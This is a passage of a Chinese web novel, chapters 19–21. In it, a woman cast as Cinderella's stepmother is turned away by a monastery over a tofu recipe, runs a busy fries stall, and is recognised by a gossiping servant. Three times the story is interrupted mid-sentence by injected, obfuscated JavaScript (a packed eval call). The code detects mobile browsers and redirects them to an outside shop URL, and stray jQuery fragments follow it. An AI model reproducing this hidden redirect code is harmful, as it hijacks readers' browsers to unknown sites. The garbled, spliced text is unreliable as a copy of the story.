除了累手这一点,尤兰达越发觉得只做薯条是明智决定。 不像薯饼,要提前煮要提前捣泥,再铺平切块初炸定型,麻烦着呢。 预估忙碌一上午的备菜,总共花费了一个半小时全部搞定,加上低温初炸薯条定型,总共也才过去两个半小时。 临近中午,只剩收尾工作的尤兰达难得有了闲情逸致,决定折腾一下,做鳕鱼排三明治 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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甭管她是眼睛会了还是脑子会了,西芙拉透露出的愿意尝试的信号,对尤兰达来说是个好消息。 有人愿意学、愿意下厨,尤兰达十分乐意培养。以后一日三餐有人帮忙分担,饭馆正式经营后,可靠的帮手也有了,一举数得的事。 尤兰达鼓励道:“我们小西真厉害,不愧是妈妈的女儿。” 西芙拉心里鼓胀胀,恨不得立刻露一手证明自己。 尤兰达连忙婉拒,“傻孩子,厨师学徒要从洗菜切菜学起的,想碰锅,你还得多学学呢。” 西芙拉泄气撇嘴,洗菜备菜什么的,太麻烦了。 她瞅了瞅滋滋冒油的陶锅,想亲自上手试试的念头怎么也止不住。 菲奥娜眼珠子滴溜溜转了一圈,把差点脱口而出的“我也会我也要做饭”吞回去。 做饭好累啊,老老实实等饭吃吧。 鳕鱼排三明治出锅,软乎乎、香喷喷,菲奥娜一接下,急不可待的咔滋一口咬下去。 同样是香脆外壳包裹鲜嫩内里,鳕鱼排的脆、嫩、多汁、清甜,口感丰富,和薯条、薯饼、培根比起来,竟难分高下。 咔滋咔滋,菲奥娜连咬好几口,取代培根组成的新口味三明治,味道一点不输培根三明治 菲奥娜对比半天,已经选不出心中最佳。 她一边为食物能有如此多的口感与花样而惊异,一边为尤兰达的精湛厨艺和层出不穷的新点子而赞叹。 早午饭一人一块三明治,多做的几块用干净麻布包起来,留着摆摊时饿了垫肚子。 等玉米水煮开,灌满皮囊,母女三人推上满载的推车,提前一小时出发。 路过修道院石桥街,留两个孩子守住推车稍等。尤兰达整了整衣裙,带上羊皮纸卷,来到修道院的大门前。 “咚咚咚——” 19.第 19 章 “什么事?” 敲门声回荡了片刻,橡木门上开了一扇小门,布满皱纹的脸从里面探出来,一双审慎的蓝眼睛上下扫量。 尤兰达微微欠身,展示手上的羊皮纸,“尊敬的修士先生,日前我与贵院的修士有过约定,今日前来呈递一份关于食物的制作方法。” 蓝眼睛扫过她的脸,停留一会,又落在羊皮纸卷上,略一颔首:“稍候。” 小窗“啪”地关上,脚步声远去。 尤兰达立在台阶上,听门后隐约的交谈,心里不免打鼓。 好在没过多久,脚步声再次响起。 “吱呀——” 厚重的橡木门从里面拉开,老修士的态度客气些许,“请进吧,夫人,随我来。” 这是尤兰达第一次踏进修道院内部。眼前景象,和网上看过的黑白照片有八九分相似。 庭院深阔,脚下石板路笔直延伸。两侧是石砌的房屋,灰扑扑的墙面爬着暗绿的苔痕,窄小窗户透出微弱的光。 越深入,越静谧,街上的喧闹听不见一点,修道院仿佛遗世独立。 要不是时不时有穿着袍子的修士和俗家弟子穿过小道和长廊,尤兰达真怀疑自己闯进了吸血鬼老巢。 可那些路过的人也奇奇怪怪,不会说话一样,彼此间全靠眼神示意,比划手势完成交流。 尤兰达踮起脚紧跟上老修士的步伐,深怕打扰沉静氛围。 他领着她往修道院西侧走去,穿过一道拱门,又绕过一座爬满藤蔓的石砌小楼。 似乎是深入修道院的祷告、生活区,与先前见到的景象截然不同。 随便往哪张望,总能瞧见数不清的杂役拎着水桶和抹布。 他们弯腰躬身刷洗石阶,用木棍剔出墙缝上积年的青苔,草木灰水擦洗墙壁和窗户,忙得热火朝天。 “兄弟,我们真该去打扫屋顶了,主教大人不会想看到盖满鸽子粪的瓦片的。” “好吧,我承认你说的对,可是主教大人下周才会来,我们没必要这么着急。” 即将穿过这一片区域时,尤兰达的耳朵捕捉到几句短促的争论。 没等她多听一会,老修士忽然停下,示意她在门外稍候,独自迈进前方半敞的院门。 尤兰达抬头看去,院门旁挂着一块木牌,上面刻着“司务院”几个单词。 她悄悄往院子里瞄一眼。 院子正中,腰间挂着一大串钥匙的司务长修士眉头紧锁,嘴里念念有词,略显焦虑。 “……这些手抄食谱没有半点新意,十岁小孩都知道的、毫无价值的东西,我该怎么向主教大人汇报呢?” “兄弟,还有七天时间,让我看到你们诚意,好吗?”他的声音不高,面容慈和微笑,散发的压迫感却让人难以招架。 侍立两旁的年轻修士心如死灰,大气不敢出。 他们已经很努力的淘换食谱秘方了,可平民手里哪有什么珍贵的技艺? 贵族家里倒是有,可人家不需要和修道院交换。 这差事,根本是无解的死局。 “司务长兄弟?”老修士见司务长暂停发言,适时出声呼唤。 埃德蒙头也不抬:“什么事?” 老修士恭敬上前半步:“司务长兄弟,这位夫人说有珍贵的食物制作技艺。” 话落,一旁侍立的年轻修士猛地抬头,待看清老修士口中的夫人,眼睛闪了闪。 正是前些天与他问询的黑发夫人。 米歇尔连忙低声补充:“司务长兄弟,这就是我提过的那位费尔南多夫人。她说,她掌握了把豆子煮得比肉鲜美的方法。” 埃德蒙手中的笔顿了一顿,终于抬起头,目光越过老修士,落在门外的尤兰达身上。 他不着痕迹打量一番:气质出众,身形丰腴,眉目间透着几分养尊处优的从容。 显然,这位费尔南多夫人来自富贵家庭,只是一身粗陋的麻布裙,与她表现出来的气度不太相称。 “豆子……”他缓缓重复,“比肉鲜美?” 上帝啊,听起来可真荒谬。 三岁幼童都知道,豆子就是豆子,永远不可能比肉好。 他见过太多不自量力的农妇了,愚蠢、肤浅、贪婪,把迷信当秘方,把偶然当神迹。 上个月,有人声称能用荨麻做出蜂蜜的味道,结果呢?烂泥一滩,洒进猪圈野猪都不屑一顾。 前几天,大言不惭说自己掌握了烹饪菌菇技巧的矮人,更可笑,实际连菌菇有没有毒都无法分辨清楚。 “兄弟,请夫人进来吧。” 埃德蒙扯出一个礼貌疏离的淡笑,灰蓝色的眼睛里全是不以为然。 尤兰达努力扮演出虔诚谦虚的姿态,捧上羊皮纸: “感谢司务长修士,豆腐的制作方法来源与我的兄长,他们常年在外走商,经常和外族人打交道,总能淘到一些新奇事物,比如食谱。” “豆腐来源于古老的东方,浸泡、磨浆、煮沸、点卤,然后——” “够了。” 埃德蒙接过羊皮纸,目光粗略一扫,便抬手打断了她的讲解。 纸上有文字和插图,浸泡的豆子、石磨、煮沸的锅、点卤的步骤……生动形象的展示了豆腐的制作过程,瞧着挺像那么回事,令人耳目一新。 也正因生动形象,当埃德蒙瞧见,所谓的东方秘方,不过是选出鹰嘴豆泡一泡、捣一捣,就敢胆大包天的吹嘘“比肉鲜美”,无异于挑衅他的智商。 牛皮吹到这份上,斋戒日听着就破戒。 埃德蒙原以为能收集到什么了不起的秘方,就这? 他果然不该对找上门的主妇抱有什么期待,太荒唐了,根本是浪费时间。 “夫人,修道院需要可靠的、经过验证的方法,不是……”埃德蒙随手退回羊皮纸,纹丝不动的温和笑脸难掩语气里的轻蔑:“不是主妇的幻想。” “我很遗憾,这样的无用小把戏,可换不来上帝的仁慈。” 尤兰达敏锐察觉司务长bro的轻视,拧了拧眉心。 埃德蒙不打算多说半个字,生怕又浪费自己宝贵的时间,“愿主保佑你,门在你身后。” 他甚至不等尤兰达走远,侧身与老修士吩咐,“兄弟,我很忙,主教阁下即将来视察,你知道的,这可是大事。 再有昏了头的主妇找来,哪怕她会做传说的杏仁膏圣像,也一律不接待。” 老修士羞愧躬身,念叨一句:主啊,请原谅我的失责。 昏了头的尤兰达没有争辩,跟着老修士原路返回。 两道身影走远,司务长埃德蒙摇摇头,转身回室内。 愁啊,他该如何收集到更多有效且可靠的秘方呢? 输给女修院实在没面子,主教阁下肯定不会同意他晋升副院长。 - 以为最稳妥的一环,反而谈崩。 便宜的海鲜暂时买不到了。 尤兰达并不气馁,这家修道院不成,换别家就是,顶多费点功夫打听。 豆腐不成,她换温室种植、改良印刷术、改良化肥,甚至她最擅长的炒菜炖菜食谱,还有蚝油酱油技艺。 她多得是能拿出手的东西。 “妈妈,为什么不考虑一下威廉姆子爵?” 西芙拉知道妈妈要来修道院献秘方,满心以为能带回好消息。她等了好久,却见羊皮纸原封不动的塞在包里,追问之下才知道,修道院瞧不上妈妈的秘方。 短短数日,尝过尤兰达手艺的西芙拉坚信这不是妈妈的问题。 妈妈的食谱绝对不会错。 可她不能说修道院的不对。 既然修道院不识货,拿去和贵族、商会交换,也是一样的。 威廉姆子爵一家住在幸福小镇隔壁的一块小领地,以前会在尼尔森手里买香料,姑且算熟识。 “和贵族交换?这太不明智了,宝贝。” 尤兰达摇摇头,想都没想就否了她的提议。 先不说威廉姆子爵和尼尔森有来往,她冒然去合作,必然引起尼尔森的注意。 她们可是把尼尔森家搬空了的,被前夫找到不是什么好事。 再说威廉姆子爵,爵位虽小,到底是正经贵族。和贵族打交道,好处固然有,但弊远大于利。 就说豆腐制作方法,献给贵族后,这项技术就被贵族彻底垄断,其他人不能私自生产、商用,包括献上技术的尤兰达本人。 和商会、工会交易也是同理,技术给了人家,就彻底归人家了。 她想吃豆腐?只能掏钱买。 和修道院交易则完全不同,他们虽也为垄断知识和技术,却并不限制使用。 随便尤兰达自家磨点豆腐吃,还是摆摊卖豆腐赚钱,只要不把技术卖给第三方,都随她。 话又说回来,修道院收集食谱、秘方可不是让它们吃灰的,他们要投入研究、生产,要“知识”变成东西,再变成财富。 生产出的东西主要有三种用途,一部分供给修士日常吃用,一部分卖给贵族和商人赚钱,最后一部分用于布施贫民,积攒功德。 凭借献秘方、食谱的这点面子,换取优惠采购豆腐的名额,尤兰达还是挺有把握的。 届时,又不用出力,又能吃到豆腐,又能和修道院搭上关系,一举三得。 可惜今天没能拿下圣约翰修道院。 - 路上耽误了一会,她们赶去工匠街时果然有点晚,好位置早被占的干干净净。 尤兰达找了个中不溜秋的摊位,趁着街上人还不算多,抓紧时间生火热油。 蜂窝煤刚升起一缕烟,油块刚显出一丝融化迹象,小摊前出乎意料的聚集了不少等待的客人。 尤兰达打眼一瞧,都很面熟。 有回头客了,哈哈。 经过昨天一下午的开拓,工匠街冒出一个新鲜吃食叫薯条的消息,插了翅膀一样飞遍街巷角角落落。 忍不住馋的食客们,吃完后一直观察自己身体状态。没有跑厕所拉肚子,没有呕吐不止,也没有头晕长疹子……一直到今天天亮,都未见哪里不适, 薯条,无毒,可吃。 得出这一结论,上午上工时,曾经光顾过小吃摊的食客们自发当起宣传员,分享“重大发现”。 无他,到处是煮豆子、炖麦粥、干巴面包的美食地狱,薯条薯饼的横空出世,不仅俘获了大家的胃,更为日复一日的、平淡无波的生活,增添了一些话题。 银器坊—— “听说了吗?有种小吃叫薯条,好吃不说,还不会吃坏肚子……”一身灰麻衣服的学徒工系紧围裙,趁着空闲和同为学徒的棕发男孩搭话。 “薯条?什么薯条?”棕发学徒一脸茫然。 “你没听过?那你有口福了,今天跟着我走。” 铁匠铺—— “嘿,杰克,今天一起买薯条吗?” 烧火的杂役摸了摸瘪瘪的肚子,靠着回味薯饼的滋味,吞了半天口水,忍不住和一旁运水的杂役咬耳朵。 杂役杰克挠挠头,他今天已经第二次听人说到薯条了,“我很乐意,不过,你得先告诉我那是什么。” “你还不知道薯条?来吧,听我说……” 磨坊—— “师傅,街上新出一种叫薯条的东西,等会给你带薯条好不好?”小学徒数了数铜币,刚好购买三份薯条,美滋滋开口。 师傅弯腰擦洗石磨,眼皮子都不抬,“薯条?什么奇奇怪怪的东西,不吃。你也别吃,小心又去修道院找医生。” 小学徒跺脚:“师傅,薯条可不是奇怪的东西……” …… 蓝天白云下,类似的场景不停在各大商铺里上演。 于是,尤兰达一出摊,就让街上瞎溜达的食客们逮个正着,呼朋唤友前来排队。 转眼间,小吃摊前大排长队。 虽然队伍不怎么齐整,惹来邻居怨声载道。 尤兰达笑容灿烂,仿佛瞧见他们头顶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223899|197182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疯狂跳动“+7”字样。 都是钱啊。 根据快乐守恒定律,有人高兴了,有人就高兴不起来。 除了街上被抢生意的小摊贩,此刻最不高兴的,当属菲奥娜。 本来工作就烦,还要不停数铜币,更烦了。 她望了望车板上的钱罐子,今天出门前,尤兰达特意换了个更大的陶罐,说“免得装不下”。 菲奥娜眼前阵阵发黑,装满这一罐,她得数多久啊。 她拽了拽西芙拉的袖子,压低声音:“今天你收钱,我送薯条。” 西芙拉立刻摇头,往后退半步,小声和妹妹嘀咕:“我不要。他们身上味儿太重了,你闻得惯你收。” “你闻不惯我还闻得惯?” 两人你推我让、僵持不下,第一位客人已经举着铜币凑了过来。 “来一份薯条!” 话音落下的瞬间,两只手不约而同地伸了出去。 菲奥娜和西芙拉对视一眼,又飞快地移开目光,默契地假装什么都没发生。 怎么说呢,数钱虽然烦,但收钱爽啊。 尤兰达没空管她们的小心思,她太忙了。 客人报出要几份,她要飞快接话报出总价,方便客人也方便菲奥娜。 同时,她还要记住客人的样貌,避免递薯条时闹出张冠李戴的乱子。 最要命的,动嘴的时候手里也不能停。 薯条在家里经过初炸,复炸便不需要太久,一两分钟即可出锅,她必须注意着点火候,炸太浅不够酥脆,炸过了影响品质。 刚开始有些手忙脚乱,后来渐渐找到节奏,母女三人完美配合。 尤兰达炸薯条报价格,菲奥娜负责接钱数钱,西芙拉接过淋酱的活。 第一次跟着出摊,西芙拉动作生疏,也摆不出笑脸,僵硬得临时抓来充数的学徒。 好在没人挑剔什么,大家接过薯条抢先报了需求: “给我多来点红的!” “我要黄的,就那个芥末的!” “红的黄的都来点……?” 根本用不着西芙拉开口问,只需要照做。紧张归紧张,倒是没出什么乱子 - 托马斯被亨利连拖带拽地拉进工匠街时,脸上写满了不情愿。 他好不容易打听到一家新开的餐馆,正准备偷懒去光顾一下,尝试寻找让他惦记好几天的培根味。 时间紧张,他想早点赶过去。 谁知道外出送订单的时候,迎面撞上了亨利,亨利二话不说,非要拉着他来尝尝什么薯条。 亨利自己都没吃过呢,也不知道从哪听来的消息,轻易相信了,口口声声说薯条多么美味,多么稀奇。 托马斯毫无兴趣,他现在满脑子培根。 土豆切成条就比培根好吃了吗?显然不可能。 为了找到那种特殊做法的培根,平时抠抠搜搜省钱的他,已经为此花出去大几十枚铜币。 他运气不好,别说找到心心念念的培根了,连相似的气味都再没闻到过。 托马斯很伤心,他只是想吃一口好吃的培根啊。 走神工夫,亨利已经拉着他挤进小摊前的队伍,激动搓手。 “天呐,托马斯快看,这就是薯条,你没吃过对吗?我们一起尝尝吧。” 托马斯敬谢不敏,后退半步。 他讨厌土豆,切成条的土豆也不喜欢。 该死的土豆,他从小吃到大,顿顿不离,真是够够的了。 周围不断涌来新食客,挤得他们站都站不稳,托马斯扯了扯亨利的袖子,提出去外围等他。 亨利无所谓耸肩,“好吧,爱吃培根的托马斯,你当然看不上土豆了。” 托马斯没理会同伴的挖苦,奋力钻出人群,远离那片充满汗酸味的空气。 “嘿,看着点,小子。” 他刚喘口气,退后时不小心撞上了一位刚从马车下来的夫人。 夫人穿着整齐精致,衣料的配色不算鲜亮,却透着股考究的沉稳。 凭经验判断,大概是哪家大户的管家,或高级女仆。 托马斯得罪不起,连忙垂下眼,恭顺道了声歉。 夫人扫了一眼四周乱糟糟的景象,无奈地摇摇头,没再追究,径直朝小吃摊走去。 她数出铜币递给摊边收钱的少女,声音不高,却清晰传进托马斯耳朵里: “两份薯条。” 托马斯收回视线,喉咙忽然有些发干。 瞧啊,大户人家的仆人都来买薯条了,那玩意儿真有那么好吃? 他忍不住又往人群里瞅了一眼,心里有根羽毛在挠。 挤进去,打脸。 留下来,心痒。 托马斯咬了咬牙,强迫自己收回目光。 ——薯条不好吃 ——薯条比不过培根 ——让他们闻到那种培根味,他们绝对不会再吃什么薯条 托马斯一番复杂心理活动无人知,因为排队等着买薯条的客人太多、太吵了。 刚刚那位夫人满脸不高兴的从人堆里挤出来,捧着热乎薯条,蘸着酱汁尝了一口。 托马斯悄悄打量着,可惜人来人往挡住了视线,瞧不清夫人具体神色。 他只能瞧见她咬下第一口后,不一会便加快进食,一根接一根,蘸着红酱往嘴里送。 或许……还不错? 念头刚落,夫人已经转过身,重新挤进队伍里。 然后,他听见一个中气十足的声音从人群深处炸开:“请给我十份薯条。” 十份? 尤兰达挥动长筷的手顿了顿。 今天开摊还不到半小时,第一笔大单子就这么来了? 她仔细记住夫人的脸,正准备点头应下,不知道怎么了,四目相对后,对方神情怔愣,随即瞪大双眼。 “你——” 脱口而出的拔高嗓音尖锐刺耳: “你是那个恶毒继母?!” 20.第 20 章 尤兰达茫然了不止一瞬。 她经常忘记自己穿成别人的妈,同时还兼任恶毒后妈的角色。 对上年轻夫人一脸吃到瓜的惊愕,尤兰达迟钝意识到自己就是对方口中的“恶毒继母”。 张嘴闭嘴恶毒继母,你礼貌吗? 食客熙熙攘攘,离得近的几人听清了呼声,惊疑不定地望向尤兰达。 “恶毒继母?听起来可不像什么好话。” “善良的薯条夫人是恶毒继母?不可能吧?” 议论渐起,听到周围的私语,年轻夫人自知失态,深吸气,勉强扯出笑容,“薯条我……” 尤兰达微笑伸手:“七十铜币,夫人。” 年轻夫人卡壳了,后半句的“不要了”几个字怎么也吐不出。 “嘿,夫人你要买薯条吗?请不要耽误我的时间好吗?” “不买就离开吧,我们要买。” 越来越多食客催促,年轻夫人直直望着幽邃的绿眸,抿紧唇角低头数铜币。 “七十铜币,给你。”沉甸甸的铜币一把塞过去,话音急促。 菲奥娜戒备瞪视,年轻夫人挺直脊背,装作不在意。 实际上嘛……她心里弹幕漫天飞! 上帝啊,王妃的母亲竟然在工匠街摆摊,说出去谁信啊。 上回见到费尔南多夫人时,她打扮的富丽堂皇,即便被皇宫守卫拦下,也不见多狼狈。 上上回、上上上回,在王子接二连三举办的舞会上,当属费尔南多夫人风头最盛。 没别的,她的女儿们实在漂亮活泼,不少夫人们打赌,她的两个女儿都能嫁个不错的人家。 事实也确实如此,费尔南多夫人的小女儿,一个从未参加过舞会的美丽女孩,一朝飞上枝头成了新王妃。 只可惜费尔南多夫人,没能住进皇宫享受享受,就被王妃的父亲赶出了家门。 这事发生在皇宫门口,所有参宴的贵族、富豪都听说了消息。宴会上,王妃的家事就成了众人绕不开的话题。 年轻夫人端详朴素的尤兰达,和几天前见过的富豪夫人做对比,简直不敢相信她们是同一人。 “十份薯条好了,夫人是用葡萄叶带走,还是装进食盒里?酱汁选哪种?” 尤兰达无视了对方八卦的视线,公事公办的询问。 年轻夫人从自己的思绪中抽回神,含糊又结巴的说:“啊?哦,薯条啊,装食盒里,一半红酱,一半黄酱。” 天呐天呐,她必须记住眼前的一切,回去好好和女主人分享。 不过……年轻夫人蹙了蹙眉,神情有几分迟疑。 这要是说给女主人听,小主人偷偷派她外出买小吃的事情就瞒不住了,小主人会挨揍的。 可怜的小主人,他一定不知道,自己好奇的薯条会出自“恶毒继母”的手。 话又说回来,薯条还是好吃的。 唉,真是穷出手艺来了。 年轻夫人接过食盒,步履匆匆的离开。临上马车前,回身看到越来越多人包围的小吃摊,她同情地摇摇头。 可怜的费尔南多,好好的富商夫人,怎么沦落到街头卖小吃了呢,尼尔森老爷着实狠心。 希望她好好忏悔吧,为昔日对王妃的苛待赎罪。 家里出了个王妃,多好的事啊,但凡她对继女和善一些,如今过好日子的就是她了。 年轻夫人一边感叹一边抑制不住的兴奋,吃过的大瓜有了后续,说出去一定惊呆小姐妹。 马车驶走,空出的位置很快被陆续赶来的食客挤占。 有好事人追问:“薯条夫人,你认识刚刚那位夫人?” “是啊,她还说你是什么恶毒继母,要我说,你那么善良和蔼,一定不是那种人。” 尤兰达嘴角抽搐,不知道说什么好。 薯条夫人?和蔼?这都什么跟什么。 尤兰达:“不认识,大概是认错人了吧……您的薯条,小心烫。” 食客接过薯条,美滋滋享受起来,无心闲聊。 一波又一波客人来来去去,年轻夫人带来的水花很快淹没于人潮中。 菲奥娜和西芙拉却一直紧绷着小脸,思绪万千,心情糟透了。 皇城里怎么会有认识她们的人?还偏偏被撞见了? 两人心里清楚得很,不出一天,母女三人在工匠街摆摊的消息,就会长了翅膀似的传给所有认识她们的人。 太丢脸了! 菲奥娜年纪小,沉不住气,趁着一波客人刚散去,她悄悄扯了扯尤兰达的裙子。 “妈妈,我们去别的地方摆摊,好吗?” 她怕,怕曾经的玩伴寻来,怕她们挤在摊前交头接耳,怕刺耳的嘲笑声钻进耳朵。 瞧瞧她们现在穿的是什么?是灰姑娘穿过的旧裙子。 做的是什么?是她们从前正眼都不瞧一下的粗活。 她们还整日进出工匠街,和满身汗臭、粗鄙无礼的匠人打交道。 一想到自己可能会被玩伴们嘲讽羞辱,菲奥娜恨不得当场晕倒。 然而,她们已经尝试过赚钱分红的甜头,真要撇下小吃摊生意,她们舍不得。 万分纠结后,她咬咬牙,想出一个折中的办法,换地方。 好歹换个没那么多熟人、没那么丢脸的地方。 女孩蓝汪汪的眼睛里盛满了忧虑,尤兰达心里一软。 她放下筷子,拍拍女孩发顶,“傻孩子,如果你的担心成真,那代表着有人免费给我们打广告。这么好的事,怎么能错过?” 菲奥娜愣住了,眨眨眼,像是没听懂。 但她明白了一点,尤兰达不打算换地方。 尤兰达的目光在两个女儿脸上逡巡了一圈,声音温和,“下次摆摊,妈妈一个人来。” 她穿来时26岁,也经历过面子比天大的少女时期,太明白年轻女孩有多在意落在自己身上的目光,一丁点风吹草动都能掀起惊涛骇浪。 对着陌生人没什么,顶多不体面,有钱就好克服。对着见证过她们风光的小伙伴,暴露如今落魄的生活,那就是另一番滋味了。 又不是万不得已的时候,尤兰达很愿意维护女孩们敏感的、脆弱的自尊。 小女孩脸皮薄,正常,她脸皮够厚啊。 两个女孩齐齐抬头。 “你们可以留在家睡懒觉,或者去修道院街逛逛,买买蝴蝶结。当然,如果能帮妈妈采买食材就更好了。” 她抄起长筷,翻动油锅里金黄翻滚的薯条,“等妈妈收摊回来,咱们一起数钱。” 语气寻常,神情寻常,好像即将扑面而来的、刺耳的议论和嘲笑,根本不值一提。 西芙拉和菲奥娜都没吱声,惶急的心像被大手稳稳托住。 “妈妈,你真好。”西芙拉小声说。 以前,为了能让姐妹俩嫁入体面的富贵人家,妈妈总逼着她们做不喜欢的事,说违心的话,丝毫不在意她们会不会被人耻笑。 妈妈气疯以后大变样,鲜少提及婚嫁,也不再催促她们讨好英俊有钱的男人。 希望妈妈继续疯下去……西芙拉垂下眼,由衷祈祷。 “我要三份薯条,多点番茄酱。” “……多少铜币?这么多够吗?” “薯条夫人,今天没有薯饼了吗?” 新客人涌来,真少女不可言说的心事瞬间冲得七零八落,小吃摊第N次陷入忙碌。 还没到工匠街最热闹的时间段,四大盆薯条一下子干掉三盆。 尤兰达掀开隔脏的麻布,最后一盆薯条端出来,自己都有点反应不过来。 昨天这个时候,似乎才渐入佳境?今天倒好,直接进入尾声。 如常出行的匠人莫名其妙成了来迟的,挤到摊子前一看还有剩,直呼“感谢上帝”“幸运女神保佑”,然后熟门熟路掏钱,一买就是两份起步。 尤兰达认出了这几张脸,昨天就属他们谨慎,围着小摊瞅了半天,磨磨蹭蹭好久才肯买走一份尝鲜。 今天还挺大方。 “你好,铁匠莱德,最后一份薯条属于你,下次早点来哦。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233050|197182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铁匠莱德欣喜又遗憾,他想买三份的,一份不够塞牙缝啊。不过他来晚了,能买到一份已经是他运气好。 天知道怎么回事,一上午的时间,工匠街卖薯条的消息传遍了附近的街巷。 今天涌来的生面孔比老主顾还多,一个个揣着铜币想一探究竟。 “没有了吗?”刚挤到前排的学徒望着空盆,满脸懊丧,“唉,还是晚了……” “噢——怎么会这样,我已经很努力赶来了。”穿着围裙的年轻匠人跺了跺脚。 “薯条夫人,下次请多准备点,我很喜欢你做的薯条,太美味了。”大嗓门的夫人隔着人群朝她喊话。 铁匠莱德骄傲昂头,捧着薯条嚷嚷:“让一让咯,新出锅的薯条,烫人呦。” 不出意外,故意吧唧嘴的莱德收获了周围十几个顾客的白眼。 铁匠莱德浑不在意,哈哈笑,“番茄酱真好吃。”大步流星地走远。 尤兰达服了,大胡子铁匠看着是个粗犷狠人,实则贱兮兮。 “抱歉了各位,下次赶早吧。”她朝剩下的客人歉然一笑。 刚走近的几位客人闻言,肩膀一垮开始叹气,叹完,扭身询问旁边的果酱馅饼价格。 吃不到薯条,吃别的又有什么区别呢,反正来都来了。 这么想的客人不在少数,可让两旁眼红了几个小时的邻居们乐坏了。 出摊到现在,他们净看尤兰达“起高楼”了,摊子前的客人根本没有断过。 每一回瞥眼打量,母女三人都忙得脚不沾地。 再面对自家摊子前的三两只散客,面子里子都没了。 他们不禁盘算起来,要不要下次也贴着薯条夫人摆摊呢? 别的不说,单冲这人流量,太香了。往常熬一下午,到天色擦黑才能卖出去百来份的饼子,靠着薯条吸引来的人流量,摆摊没多久,轻轻松松卖出去一半多。 邻居们又酸又妒,羡慕地望着尤兰达慢悠悠收摊。 往日此时,小吃生意正值高峰,真不知道人家那四大盆的东西怎么就唰唰唰售卖一空,太快了。 瞧啊,她们还有空坐下来吃点东西垫垫肚子,多气人啊。 咦……她们吃的什么? “妈妈,这就卖完了?” 西芙拉嚼着三明治,问出了和大家相差无几的疑惑。 她环顾四周,街上热热闹闹,许多匠人外出摸鱼,小吃生意明显变好。 唯独自家与众不同,瞧着……竟比昨日还要早收摊。 “嗯,卖完了,这就是提高效率的优势。” 如果没有提前初炸定型,现场制作起码多耽误一两个小时。而且今天没有多费心调火势,又节省了时间。 尤兰达粗略估算过,从出摊到收摊,满打满算半下午的工夫,她们少说卖出去200份薯条。 200份,这数字放哪儿都了不得。 街上任意一家餐馆、酒坊,只要生意不太差、厨师做饭不难吃,一顿早午饭,大约也就卖个200来份。 小吃摊的话,只有碰到圣米迦勒节那样的大节日,才有机会达到,平日对半砍。 当然,这个数据的真实性有待考据。 毕竟,纸张很贵,文盲很多,店家老老实实、一笔不落记账的不多见。 加上当下的餐馆酒馆喜欢做大锅饭,压根不存在明确的“份”的概念,最多囫囵计算出一天营业所需食材的重量和价格。 200份薯条,真不少了,没看邻居们眼睛都红了吗? 尤兰达倚着推车,咔嚓咔嚓咬着三明治。 忙碌许久,胳膊差点软成了面条,她得好好歇歇,回家才有力气顺路采购。 说到面条,晚饭吃面条好了…… “薯条夫人!” 一道声音忽然响起,把她从神游中拽回来。 尤兰达抬头一瞧,年轻工匠买完果酱馅饼还没走,站在几步之外,直勾勾盯着她手里的三明治,喉头滚动。 “你、你吃的是什么?下次摆摊……会卖吗?” 21.第 21 章 尤兰达飞快吞咽,举起三明治晃了晃。 “你说它?这是三明治,自家随便做着吃的,不卖。” 年轻工匠双眸黯淡,一瞬不瞬地盯着三明治,“好吃吗?它看起来真不错。” 菲奥娜从旁边探出脑袋,理所当然的语气,“哦~显而易见了,先生,三明治当然好吃。您不就是看了它一眼,就爱上它了吗?” 年轻工匠的脸腾地红了,挠着后脑勺,老实巴交,“是的是的,我确实爱上它了。” 他转向尤兰达,恳切:“薯条夫人,下次摆摊可以准备点三明治吗?我真的很想尝尝它的味道。” 对半切的三明治被葡萄叶和麻布层层包裹,却不难分辨里面的馅料。 白色是白面包,金黄的不知道是什么,想必是薯条夫人独创的食物吧。 红色像番茄,绿色不好确定,莴苣叶子或者卷心菜叶子?淡黄色一定是鸡蛋了。 巴掌大的三明治,精巧又漂亮,不如手里的果酱馅饼一半大,可他就是挪不开眼。 它看起来……真的很好吃。 尤兰达面露难色:“好吧,如果是尊敬的客人需要,我很乐意尝试摆摊售卖。” 年轻工匠的眼睛瞬间锃亮。 “不过,”尤兰达话锋一转,“三明治可不便宜……” “我可以提前付钱。”年轻工匠抢着接话,说完才想起摸摸口袋,查看身上带的钱够不够。 尤兰达强压上翘的唇角,“谢谢您的支持,您将是第一个吃到三明治的顾客,理应享受一些优惠,只需20铜币。” 年轻工匠愣了愣,确实不便宜。 可多看一眼三明治,看看松软的白面包,20铜币好像也没那么贵? 年轻工匠只犹豫了一瞬,果酱馅饼夹在胳膊下,拿出钱兜数铜币。 西芙拉和菲奥娜傻眼了都,忘记咀嚼。 不是,东西还没做出来呢,这就卖出去一个? 两人对视一眼,又齐齐转头仰望尤兰达。 妈妈真厉害! 尤兰达数了一遍,确认20铜币没错,收进羊皮包里,仔细记住客人的脸。 “下次摆摊是星期一,客人记得赶早啊。”她笑眯眯提醒。 